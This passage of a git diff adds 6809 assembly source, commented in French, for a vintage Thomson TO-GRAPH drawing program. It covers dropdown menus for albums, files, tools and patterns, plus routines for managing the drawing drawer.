+ CLRB
+ JSR FENTOR
+EXST01 JSR FENDES
+ LDA TLIGN
+ PSHS A
+ LDA #1
+ STA TLIGN
+ JSR TRINV ancien tracé
+ CLR FILFLG
+ JSR TRRECT
+ JSR TRINV
+ JSR TRLIGN
+
+ LDX REGX nouveau tracé
+ STX X1TIRE
+ LDY REGY
+ STY Y1TIRE
+ JSR TRINV
+ JSR TRRECT
+ JSR TRINV
+ JSR TRLIGN
+ PULS A
+ STA TLIGN
+ JSR FENACT
+ LBRA EXSFT1 ->
+
+*** Demande de confirmation de la modif.
+MTFIN EQU *
+ LEAX FFCNFT,PCR
+ LDB REGY+1
+ LSRB
+ LSRB
+ LSRB
+ LDA #19
+ CMPB #19
+ BLE MTFIN0 ->
+ TFR A,B
+MTFIN0 PSHS B
+ LDD REGX
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ LDA #57
+ CMPB #57
+ BLE MTFIN1 ->
+ TFR A,B
+MTFIN1 PULS A
+ JSR FENOUV
+ JSR FENACT
+MTFIN2 LDU #PILFEN
+ JSR FEN
+ PSHU CC,D,X,Y
+ CMPB #RC
+ BEQ MTFINO ok ->
+ CMPB #FF
+ BEQ MTFINA annul. ->
+ BRA MTFIN2 ->
+
+*** Confirmation / lect. nouveau tiroir
+MTFINO CLRB
+ JSR FENFER
+
+ JSR LITTIR Nb: XT0 ... sont
+* ok !
+
+ LBRA MTRET ->
+
+*** Annulation / revisu. tiroir
+MTFINA CLRB
+ JSR FENFER
+MTRETA LDD #$0104 fond tramé
+ LDY #$174A
+ JSR FENLOC
+ JSR FENTRA
+ LDX #32
+ LDY #8
+ LDA #1
+ JSR VISTIR
+
+* Fin du traitement du tiroir
+*---------------------------------------
+
+MTRET JSR FENACT
+ LEAS 920,S
+ RTS
+
+
+*=======================================
+* S/P traitement de la fenêtre de
+* cadrage de la feuille
+*
+* Entrée: A =0 cadrage seul
+* #0 +sélection zone
+*
+* Sortie: <ADF pour le cadrage
+* et si sélection zone:
+* CADRNG rangée début (0..101)
+* CADCOL colonne début (0..69 )
+* CADHAU hauteur (1..102)
+* CADLAR (1..120)
+* B sélection externe even
+* A interrupteur pleine
+* page
+* Z 1 zone ok
+* 0 feuille vide ou aband.
+*=======================================
+
+SPCADR PSHS U
+ LDU #XSPCAD
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P visualisation du tiroir
+*
+* Entrée: X coord. graphique haut
+* Y gauche
+* A #0 si effacement préalable
+*=======================================
+
+VISTIR LDU #XVISTI
+ JSR COMBK2
+ RTS
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-MN.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-MN.ASM
new file mode 100755
index 0000000..0ac57e3
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-MN.ASM
@@ -0,0 +1,1633 @@
+ TITLE TO-GRAPH:Menusderoulants
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* Menu déroulants *
+* *
+****************************************
+
+*=======================================
+* S/P Prise en compte commandes fenêtre
+* principale
+*
+* Entrée: X ad. traitement retour
+* Y ad. traitement RAZ
+* A code RAZ en plus FF
+* B car. saisie
+* Sortie: U ad. exec. (0 si non filtré)
+*=======================================
+
+ABORT PSHS A
+PA SET 0
+*---------------------------------------
+ CMPB #FF
+ LBEQ ABORTZ ->
+ CMPB PA,S
+ LBEQ ABORTZ ->
+ CMPB #$90
+ LBEQ ABORTR ->
+ CMPB #$91
+ LBEQ ABORTR ->
+ CMPB #$92
+ LBEQ ABORTR ->
+ CMPB #$93
+ LBEQ ABORRR ->
+ CMPB #$94
+ LBEQ ABORTR ->
+ CMPB #$98
+ LBEQ ABORTR ->
+ CMPB #$0F
+ LBEQ ABORTR ->
+ CMPB #$10
+ LBEQ ABORTR ->
+ CMPB #$11
+ BEQ ABORTR ->
+ CMPB #$12
+ BEQ ABORTR ->
+ CMPB #$13
+ BEQ ABORTR ->
+ CMPB #$14
+ BEQ ABORTR ->
+ CMPB #$15
+ BEQ ABORTR ->
+ CMPB #$05
+ BEQ ABORTR ->
+ CMPB #BS
+ BEQ ABORTR ->
+ CMPB #HT
+ BEQ ABORTR ->
+ CMPB #VT
+ BEQ ABORTR ->
+ CMPB #LF
+ BEQ ABORTR ->
+ CMPB #$80+BS
+ BEQ ABORTR ->
+ CMPB #$80+HT
+ BEQ ABORTR ->
+ CMPB #$80+VT
+ BEQ ABORTR ->
+ CMPB #$80+LF
+ BEQ ABORTR ->
+ CMPB #RS
+ BEQ ABORTR ->
+ CMPB #INS
+ BEQ ABORTR ->
+ CMPB #$80
+ BEQ ABORTR ->
+ CMPB #$81
+ BEQ ABORTR ->
+ LDU #0
+ PULS A,PC
+ABORTZ TFR Y,U
+ PULS A,PC ->>
+
+ABORRR PSHS X
+ LDU #100
+ABORR0 JSR FEN
+ CMPB #$93
+ BEQ ABORR1 ->
+ LEAU -1,U
+ CMPU #0
+ BEQ ABORR2 ->
+ BRA ABORR0 ->
+
+ABORR1 PULS X
+ LDB #$98 double clic
+ TFR X,U
+ PULS A,PC ->>
+
+ABORR2 PULS X
+ LDB #$93
+
+ABORTR TFR X,U
+ PULS A,PC ->>
+
+
+*=======================================
+* S/P affichage de 4 occurences d'un
+* caractère de motif pointé dans
+* le carreau courant (FENTXT)
+*
+* Entrée: Y pointe motif du car.
+*=======================================
+
+PUTMOT FCB $20,$20,$20,$20,0
+AF4MOT PSHS D,X,Y,U
+*---------------------------------------
+ LDU PTGENE
+ STY PTGENE
+ LEAX PUTMOT,PCR
+ JSR FENTXT
+ STU PTGENE
+ PULS D,X,Y,U,PC ->
+
+
+*=======================================
+* S/P affichage options de tracé sur
+* fenêtre principale inactive !!!
+*=======================================
+
+AFFOPT EQU *
+*---------------------------------------
+ LDA OUTIL outil courant
+ LSLA
+ LDX #TMOUTI
+ LDX A,X
+ LDD #$0101
+ LDY #$0202
+ JSR FENLOC
+ JSR FENTXT
+
+ LDD #$0401 motif remplis.
+ LDY #$0202
+ JSR FENLOC
+ LDY #CARMOT
+ JSR AF4MOT
+
+ LDB #$14 taille lignes
+ JSR FENCH
+ LDA TLIGN
+ DECA
+ LDB #5
+ MUL
+ LDX #MLIGN1
+ ABX
+ JSR FENTXT
+
+ LDB #$15 taille caractère
+ JSR FENCH
+ LDA TCAR
+ SUBA #$4C
+ LSLA
+ LDX #TMMT
+ LDX A,X
+ JSR FENTXT
+ RTS
+
+
+*=======================================
+* S/P affichage d'un caractère motif en
+* loupe
+*
+* Entrée: A,B coordonnées loupe (absolu)
+* Y pt motif
+*=======================================
+
+LPMOTI PSHS D,X,Y,U
+ LEAS -5,S
+CPTL SET 0
+CPTC SET 1
+MOTL SET 2
+RNGLP SET 3
+COLLP SET 4
+*---------------------------------------
+ TFR Y,U
+
+ LDY #$0808
+ JSR FENLOC
+ JSR FENFON
+ ADDA #7
+ STD RNGLP,S
+
+ LDA #8
+ STA CPTL,S
+BLPML LDA ,U+
+ STA MOTL,S
+ LDA #8
+ STA CPTC,S
+BLPMC LSL MOTL,S
+ BCC LLPMC ->
+ LDD RNGLP,S
+ LDY #$0101
+ JSR FENLOC
+ JSR FENIVD
+LLPMC INC COLLP,S
+ DEC CPTC,S
+ BNE BLPMC ->
+ LDA COLLP,S
+ SUBA #8
+ STA COLLP,S
+ DEC RNGLP,S
+ DEC CPTL,S
+ BNE BLPML ->
+
+ LEAS 5,S
+ PULS D,X,Y,U,PC
+
+
+*=======================================
+* S/P menu déroulant de gestion albums
+*
+* Sortie: B code menu principal sélect.
+*=======================================
+
+SPALBU EQU *
+*---------------------------------------
+
+ LDX #FALBUM
+ LDD #$022D
+ JSR FENOUV
+
+EXECA1 JSR FENACT
+EXECA2 JSR FEN
+ TSTB
+ BEQ EXECA2 ->
+ LDU #PILFEN
+ PSHU CC,D,X,Y
+ CMPB #$43 C
+ LBEQ XACON ->
+ CMPB #$41 A
+ LBEQ XALEC ->
+ CMPB #$45 E
+ LBEQ XECAL ->
+ CMPB #$56 V
+ LBEQ XALVIS ->
+ CMPB #$53 S
+ LBEQ XALSUP ->
+ LDA #$93
+ LDX #XARET
+ LDY #XARETZ
+ JSR ABORT
+ CMPU #0
+ BEQ EXECA2 ->
+ JMP ,U
+
+*** Copie -> Tiroir
+XACON EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+ LDD #$0806
+ LDY #1
+ JSR SELALB
+ BCS XACONF raz ->
+ STX ALBCOU
+
+* Nb: posit. bank car CODE maintient un
+* pseudo bank courant
+
+ PSHS X
+ LDB #ESC tour magenta
+ JSR PUTC
+ LDB #$65
+ JSR PUTC
+
+ JSR FENDES
+ JSR SAUVE
+ JSR TRAMIN fixe écran trav
+
+ LDA OUTIL outil "copier"
+ STA COPAOU temporaire
+ LDA #$FF
+ STA COPALB
+ LDA #COUCOP
+ STA OUTIL
+ JSR AFFOPT
+ PULS X
+
+ LDD #$A002
+ STD DEBZON
+ LDA BANKC mémo
+ LDB 8,X
+ STB BANKC
+ DECB
+ STB DEBZON+2
+ LDB #$FF
+ STB PUTFLG
+ LDB #5
+ STB X0COD
+ LDB #1
+ STB Y0COD
+ LDB #CODE
+ JSR EXTRA
+ STA BANKC
+
+ JSR TRAMAX
+ JSR FENACT
+ CLRB
+ RTS ->>
+
+XACONF LDB #$43 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECA1 ->
+
+*** Album -> Ecran
+XALEC EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+ LDD #$0806
+ LDY #1
+ JSR SELALB
+ BCS XALECF raz ->
+ STX ALBCOU
+
+* décodage image
+* Nb: posit. bank car CODE maintient un
+* pseudo bank courant
+
+ JSR FENDES
+ JSR SAUVE
+ JSR TRAMIN fixe écran trav
+
+ LDD #$A002
+ STD DEBZON
+ LDA BANKC mémo
+ LDB 8,X
+ STB BANKC
+ DECB
+ STB DEBZON+2
+ LDB #$FF
+ STB PUTFLG
+ LDB #5
+ STB X0COD
+ LDB #1
+ STB Y0COD
+ LDB #CODE
+ JSR EXTRA
+ STA BANKC
+
+ JSR TRAMAX restaure écr trav
+ JSR FENACT
+ CLRB
+ RTS ->>
+
+XALECF LDB #$41 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECA1 ->
+
+*** Ecran -> Album
+XECAL EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+ LDD #$081E
+ LDX #FILNAM
+ JSR CZIALB
+ BCS XAECRF raz ->
+ JSR CHALB
+ BCS XAECRF pas de place ->
+ STX ALBCOU
+
+ CLRB
+ JSR FENFER
+
+* codage image
+*
+
+ LDD #$A002
+ STD DEBZON
+ LDA BANKC mémo
+ LDB 8,X
+ STB BANKC
+ DECB
+ STB DEBZON+2
+ CLR PUTFLG
+ LDB #$FF
+ STB PASSCD
+ LDB #5
+ STB X0COD
+ LDB #1
+ STB Y0COD
+ LDB #78
+ STB X1COD
+ LDB #23
+ STB Y1COD
+ LDB #CODE
+ JSR EXTRA
+
+ LDY LSTBYT
+ LEAY -$A002,Y
+ STY $A000
+ STA BANKC
+
+ JSR FENACT
+ RTS
+
+XAECRF LDB #$45 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECA1 ->
+
+*** Voir liste
+XALVIS EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+ LDD #$0806
+ LDY #0
+ LDX #0
+ JSR SELALB
+
+ LDB #$56 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECA1 ->
+
+*** Supprimer album
+XALSUP EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+ LDD #$0806
+ LDY #0
+ JSR SELALB
+ BCS XALSUF raz ->
+ NEG 8,X
+ DEC NBALB
+ CMPX ALBCOU
+ BNE XALSUF ->
+ LDD #0 plus album cour.
+ STD ALBCOU
+
+XALSUF LDB #$53 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECA1 ->
+
+
+* Fin menu albums
+*---------------------------------------
+
+XARETZ CLRB
+XARET PSHS B
+ CLRB
+ JSR FENFER
+ JSR FENACT
+ PULS B
+ RTS
+
+*=======================================
+* S/P menu déroulant de gestion fichier
+*
+* Sortie: B code menu principal sélect.
+*=======================================
+
+SPFICH EQU *
+ LEAS -2,S
+ADFSOV SET 0
+*---------------------------------------
+
+ JSR FENDES pour cadrage
+ JSR SAUVE éventuel
+ LDD <ADF
+ STD ADFSOV,S
+
+ LDX #FENFIC
+ LDD #$0205
+ JSR FENOUV
+
+EXECF0 LDB #ESC
+ JSR PUTC
+ LDB #$4F
+ JSR PUTC
+ LDD #$0222 Disque courant
+ LDY #$0202
+ JSR FENLOF
+ LDB DKDRV
+ ADDB #$30
+ JSR PUTC
+ LDB #ESC
+ JSR PUTC
+ LDB #$4C
+ JSR PUTC
+
+EXECF1 JSR FENACT
+
+
+EXECF2 JSR FEN
+ TSTB
+ BEQ EXECF2 ->
+ LDU #PILFEN
+ PSHU CC,D,X,Y
+ CMPB #$50 P
+ LBEQ XFUNIT ->
+ CMPB #$49 I
+ LBEQ XFINIT ->
+ CMPB #$43 C
+ LBEQ XFCATA ->
+ CMPB #$52 R
+ LBEQ XFRENO ->
+ CMPB #$53 S
+ LBEQ XFSUPR ->
+ CMPB #$44 D
+ LBEQ XFDUPL ->
+ CMPB #$4C L
+ LBEQ XFLIRE ->
+ CMPB #$45 E
+ LBEQ XFECRI ->
+ CMPB #$41 A
+ LBEQ XALBF ->
+ CMPB #$46 F
+ LBEQ XFALB ->
+ CMPB #$51 Q
+ LBEQ XFQUIT ->
+ LDA #$90
+ LDX #XFRET
+ LDY #XFRETZ
+ JSR ABORT
+ CMPU #0
+ LBEQ EXECF2 ->
+ JMP ,U
+
+*** Préciser unité
+XFUNIT EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0518
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #$FFFF
+ LBSR DOSSEL
+ LDA #BKTIR restaure
+ STA BANKC
+ CLRB
+ LBSR FENFER
+ LDB #$50 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF0 ->
+
+*** Initialiser
+XFINIT EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0518
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSINI
+ LDA #BKTIR restaure
+ STA BANKC
+ CLRB
+ LBSR FENFER
+ LDB #$49 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+ LBRA EXECF1 ->
+
+*** Catalogue
+XFCATA EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0218
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSCAT
+ LDA #BKTIR restaure
+ STA BANKC
+ CLRB
+ LBSR FENFER
+ LDB #$43 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Renommer fichier
+XFRENO EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0518
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSREN
+ LDA #BKTIR restaure
+ STA BANKC
+ CLRB
+ LBSR FENFER
+ LDB #$52 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Supprimer fichier
+XFSUPR EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0518
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSSUP
+ LDA #BKTIR restaure
+ STA BANKC
+ CLRB
+ LBSR FENFER
+ LDB #$53 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Dupliquer fichier
+XFDUPL EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID Sélection
+ LDD #$0518
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSDUP
+ LDA #BKTIR restaure
+ STA BANKC
+ CLRB
+ LBSR FENFER
+ LDB #$44 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Lire fichier
+XFLIRE EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+ LDX #FILNAM filtre .MAP
+XLIRZ CLR ,X+
+ CMPX #FILNAM+8
+ BNE XLIRZ ->
+ LDD #$4D41
+ STD ,X++
+ LDA #$50
+ STA ,X+
+ LDX #FENVID sélection
+ LDD #$0518
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #MLIRE
+ LBSR DOSFIL
+ PSHS CC
+ LDA #BKTIR restaure
+ STA BANKC
+ PULS CC
+ BEQ XLIRZ9 RAZ ->
+ BCS XLIRZ9 erreur ->
+
+ LDX #FILNAM fich cour.
+ LDY #DESCOU
+BMEMFC LDA ,X+
+ STA ,Y+
+ CMPX #FILNAM+8
+ BNE BMEMFC ->
+
+ JSR LECDES lecture dessin
+ TSTB
+ BNE XLIRZ9 ->
+
+ LDB #1 visu charg.
+ JSR FENFER
+ JSR RESTAU
+ JSR FENACT
+ CLRB
+ LEAS 2,S
+ RTS ->>
+
+XLIRZ9 CLRB
+ LBSR FENFER
+ LDB #$4C Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Ecrire fichier
+XFECRI EQU *
+ JSR FENCH
+ JSR FENIVD
+ LDA #1 sélection +
+ JSR SPCADR cadrage feuille
+ BEQ XFECRF raz ->
+ EXG A,B
+ CMPB #ON
+ BNE XFECR0 ->
+ CLR CADRNG pleine page
+ CLR CADCOL
+ LDA #102
+ STA CADHAU
+ LDA #120
+ STA CADLAR
+XFECR0 JSR ECRDES
+ CLRB
+ JSR FENFER
+
+XFECRF LDB #$45
+ JSR FENCH
+ JSR FENIVD
+ LBRA EXECF1 ->
+
+*** Fichier -> Album
+XFALB EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+ LDX #FILNAM filtre .ALB
+XLIRA0 CLR ,X+
+ CMPX #FILNAM+8
+ BNE XLIRA0 ->
+ LDD #$414C
+ STD ,X++
+ LDA #$42
+ STA ,X+
+ LDX #FENVID sélection
+ LDD #$0518
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #MLIRE
+ LBSR DOSFIL
+ PSHS CC
+ LDA #BKTIR restaure
+ STA BANKC
+ PULS CC
+ BEQ XLIRAX RAZ ->
+ BCS XLIRAX erreur ->
+
+ LDX #FILNAM trouver un alb.
+ JSR CHALB
+ BCS XLIRAX pas de place ->
+
+ JSR CHAALB charger l'album
+ BCS XLIRAX erreur ->
+ STX ALBCOU
+
+XLIRAX CLRB
+ LBSR FENFER
+
+XLIRAF LDB #$46 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Album -> Fichier
+XALBF EQU *
+ LBSR FENCH
+ LBSR FENIVD
+
+ LDD #$0810
+ LDX #$FFFF
+ LDY #$FFFF
+ JSR SELALB
+ BCS XECAF ->
+ JSR FENDES
+ JSR ECRALB écriture album>
+ CLRB
+ JSR FENFER
+ JSR FENACT
+
+XECAF LDB #$41 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Quitter
+XFQUIT EQU *
+ LBSR FENCH
+ LBSR FENIVD
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDD #$0D20
+ LBSR TBREAK
+ BCS FINGR ->
+ LDA #BKTIR restaure
+ STA BANKC
+ LDB #$51
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+* Nettoyages divers
+*---------------------------------------
+
+* Fenêtrage
+FINGR JSR FENFIN
+
+* Attributs de visu.
+ LDB #ESC 40 col
+ JSR PUTC
+ LDB #$5A
+ JSR PUTC
+
+ LDA #0
+ LDX #0
+ LDY MEMC0
+ JSR SETP
+ LDA #1
+ LDX #0
+ LDY MEMC1
+ JSR SETP
+
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+ LDD #$FFFF
+ STD MEMC0
+ STD MEMC1
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+
+ JMP MENU ->>>>>>>
+
+* Fin menu fichier
+*---------------------------------------
+
+XFRETZ CLRB
+XFRET PSHS B
+ CLRB
+ JSR FENFER
+ LDD <ADF
+ CMPD ADFSOV,S
+ BEQ XFRET0 ->
+ JSR RESTAU cadrage
+XFRET0 JSR FENACT
+ PULS B
+ LEAS 2,S
+ RTS
+
+
+*=======================================
+* S/P menu déroulant de sélection outils
+*
+* Sortie: B code menu principal sélect.
+*=======================================
+
+SPOUTI EQU *
+*---------------------------------------
+
+ LDX #FENOUT
+ LDD #$0205
+ JSR FENOUV
+ JSR FENACT
+
+EXECO1 JSR FEN
+ TSTB
+ BEQ EXECO1 ->
+ LDU #PILFEN
+ PSHU CC,D,X,Y
+ CMPB #$41
+ BCS EXECO2 ->
+ CMPB #$4D
+ BCC EXECO2 ->
+ BRA EXECO3 ->
+EXECO2 LDA #$0F
+ LDX #XORET
+ LDY #XORETZ
+ JSR ABORT
+ CMPU #0
+ BEQ EXECO1 ->
+ JMP ,U
+
+*** Visualiser nouvel outil
+EXECO3 TFR B,A
+ CLRB
+ JSR FENFER
+ SUBA #$41
+ CMPA #11
+ BNE EXECO4 ->
+ TST FLGTIR
+ BNE EXECO4 ok ->
+ LDX #MTIRVI
+ JSR FENERR
+ BRA EXECOF ->
+EXECO4 STA OUTIL
+ JSR AFFOPT
+ CLR FLGSS2
+
+*** Sauvegarder écran courant
+ JSR SAUVE
+
+EXECOF JSR FENACT
+ CLRB
+ RTS ->>
+
+* Fin menu outil
+*---------------------------------------
+
+XORETZ CLRB
+XORET PSHS B
+ CLRB
+ JSR FENFER
+ JSR FENACT
+ PULS B
+ RTS
+
+
+*=======================================
+* S/P de gestion tiroir
+*
+* Sortie: B code menu principal sélect.
+*=======================================
+
+FFTIRO FCB FLOCA,1,4,23,74
+ FCB FCOMF,FF,OFF
+ FCB FCALL
+ FDB MENUD
+ FCB FSTOP
+
+SPTIRO EQU *
+*---------------------------------------
+
+ TST FLGTIR
+ BNE SPTI0 ok ->
+ LDX #MTIRVI
+ JSR FENERR
+ JSR FENACT
+ RTS ->>
+
+SPTI0 LEAX FFTIRO,PCR
+ LDD #0
+ JSR FENOUV
+
+* Visualisation du tiroir
+ LDB #ESC tour magenta
+ JSR PUTC
+ LDB #$65
+ JSR PUTC
+ LDD #$0104 fond tramé
+ LDY #$174A
+ JSR FENLOC
+ JSR FENTRA
+ LDX #32 delimite tiroir
+ LDY #8
+ LDA #1
+ JSR VISTIR
+
+* Travail sur le tiroir
+
+ JSR FENACT
+
+EXECT1 JSR FEN
+ LDU #PILFEN
+ PSHU CC,D,X,Y
+ TSTB
+ BEQ EXECT2 ->
+ CMPB #$0D
+ BEQ ROTIR ->
+ LDA #$91
+ LDX #XTRET
+ LDY #XTRETZ
+ JSR ABORT
+ CMPU #0
+ BEQ EXECT1 ->
+ JMP ,U
+
+*** Tester la gestion souris
+
+
+EXECT2 LDA REGCC
+ TFR A,CC
+ LBCC EXECT1 ->
+ROTIR0 JSR LPIN
+ BCS ROTIR0 ->
+
+*** Gestion du tiroir
+ROTIR EQU *
+ LBSR MODTIR
+ LBRA EXECT1 ->
+
+* Fin traitement tiroir
+*---------------------------------------
+
+XTRETZ CLRB
+XTRET PSHS B
+ LDB #ESC tour normal
+ JSR PUTC
+ LDB #$60
+ JSR PUTC
+ CLRB
+ JSR FENFER
+ JSR FENACT
+ PULS B
+ RTS
+
+
+*=======================================
+* S/P menu déroulant de gestion motifs
+*
+* Sortie: B code menu principal sélect.
+*=======================================
+
+SPMOTI LEAS -18,S
+MEMCC SET 0
+RNGLP SET 1
+COLLP SET 2
+HAULP SET 3
+LARLP SET 4
+LOCX SET 5
+LOCY SET 7
+STORE SET 9 mode store
+MOTTRA SET 10 8 oct.
+*---------------------------------------
+
+ CLR FLGSS2
+ CLR STORE,S
+
+ LDX #FENMOT
+ LDD #$0205
+ JSR FENOUV
+
+* Visualiser le motif courant
+
+ LDX #CARMOT
+ LEAY MOTTRA,S
+BCOPM0 LDD ,X++
+ STD ,Y++
+ CMPX #CARMOT+8
+ BNE BCOPM0 ->
+
+ LEAY MOTTRA,S
+ JSR VISMOT
+
+* Renseigner les 32 codes equiv des
+* poussoirs motifs
+
+ LDA #233
+ LDB #255
+BCODEQ JSR FENCH
+ STA CODEQU,X
+ DECA
+ CMPA #201
+ BNE BCODEQ ->
+
+* Visualiser les 32 codes equiv des
+* poussoirs motifs haut vers bas
+
+ LDB #202
+ LDY #MOTREM+16
+BCODQ0 JSR FENCH
+ TFR Y,X
+ JSR AF4MOT
+ JSR FENTI
+ LEAY 8,Y
+ INCB
+ CMPB #234
+ BNE BCODQ0 ->
+
+* Acquérir les coordonnées de la
+* zone loupe
+
+ LDB #254
+ JSR FENCH
+ LDD RNG,X
+ STD RNGLP,S
+ LDD HAUT,X
+ STD HAULP,S
+
+ JSR FENACT
+
+EXECM1 JSR FEN
+ TFR CC,A
+ STA MEMCC,S
+ STX LOCX,S
+ STY LOCY,S
+
+ TSTB
+ BEQ EXECM4 ->
+ CMPB #RC
+ LBEQ XRMOT ->
+ CMPB #199
+ LBEQ XMMOT ->
+ CMPB #200
+ BCS EXECM2 ->
+ CMPB #234
+ BCC EXECM2 ->
+ BRA XPMOT ->
+
+EXECM2 LDA #$10
+ LDX #XMRET
+ LDY #XMRETZ
+ JSR ABORT
+ CMPU #0
+ LBEQ XCMOT ->
+ JMP ,U
+
+EXECM4 LDA MEMCC,S
+ TFR A,CC
+ LBCC EXECM1 ->
+ LDX RNGLP,S clic
+ LDY HAULP,S
+ JSR SOUDAN
+ LBCC EXECM1 ->
+
+*** Clic dans loupe
+ TST STORE,S
+ LBNE EXECM1 mode store ->
+ CLR FLGSS2
+ATRB0 JSR LPIN
+ BCS ATRB0 anti-rebond ->
+ LDD LOCX,S coord. car.
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ LDA LOCY+1,S
+ LSRA
+ LSRA
+ LSRA
+ LDY #$0101 visu loupe
+ JSR FENLOC
+ JSR FENIVD
+ STD LOCX,S mémo bit
+ LDA RNGLP,S
+ ADDA #7
+ SUBA LOCX,S
+ LEAX MOTTRA,S
+ LDB LOCX+1,S
+ SUBB COLLP,S
+ SUBB #7
+ NEGB
+ LDY #TBITS
+ LDB B,Y
+ EORB A,X
+ STB A,X
+ LEAY MOTTRA,S visu motif
+ JSR VISMOO
+
+ LBRA EXECM1 ->
+
+*** Présélection d'un motif
+*** ou rangement (store) d'un motif
+
+XPMOT EQU *
+ TST STORE,S
+ BNE XPMOTS store ->
+ CLR FLGSS2
+ SUBB #200
+ LDA #8
+ MUL
+ LDY #MOTREM
+ LEAY D,Y
+ JSR VISMOT
+ LDB #8
+ LEAX MOTTRA,S
+BCOPM1 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BCOPM1 ->
+ LBRA EXECM1 ->
+
+XPMOTS JSR FENCH
+ SUBB #200
+ LDA #8
+ MUL
+ LDX #MOTREM
+ LEAX D,X
+ LEAY MOTTRA,S
+ JSR AF4MOT
+ JSR FENTI
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+ LDB #8
+BCOPS1 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BCOPS1 ->
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+ LDB #199 revenir en non
+ JSR FENCH "store"
+ JSR FENIVD
+ LDA #OFF
+ STA VAL,X
+ BRA FINSTO ->
+
+*** Mémorisation d'un motif (inverseur)
+*** Nb: FENDES inutile car sélection par
+*** clavier impossible
+
+XMMOT EQU *
+ CLR FLGSS2
+ JSR FENCH
+ LDA VAL,X
+ STA STORE,S
+ CMPA #ON
+ BEQ ACTSTO passage store ->
+FINSTO LDA #OFF réautorisation
+ LDB #RC
+ JSR FENCH
+ STA VAL,X
+ LDB #200
+ JSR FENCH
+ STA VAL,X
+ LDB #201
+ JSR FENCH
+ STA VAL,X
+ CLR STORE,S
+ LBRA EXECM1 ->
+
+ACTSTO LDA #INTERD interdictions
+ LDB #RC
+ JSR FENCH
+ STA VAL,X
+ LDB #200
+ JSR FENCH
+ STA VAL,X
+ LDB #201
+ JSR FENCH
+ STA VAL,X
+ LBRA EXECM1 ->
+
+*** Motif saisie au clavier
+
+XCMOT EQU *
+ TST STORE,S
+ LBNE EXECM1 mode store ->
+ LEAY MOTTRA,S
+ JSR XTRMOT
+ LBCC EXECM1 ->
+ JSR VISMOT
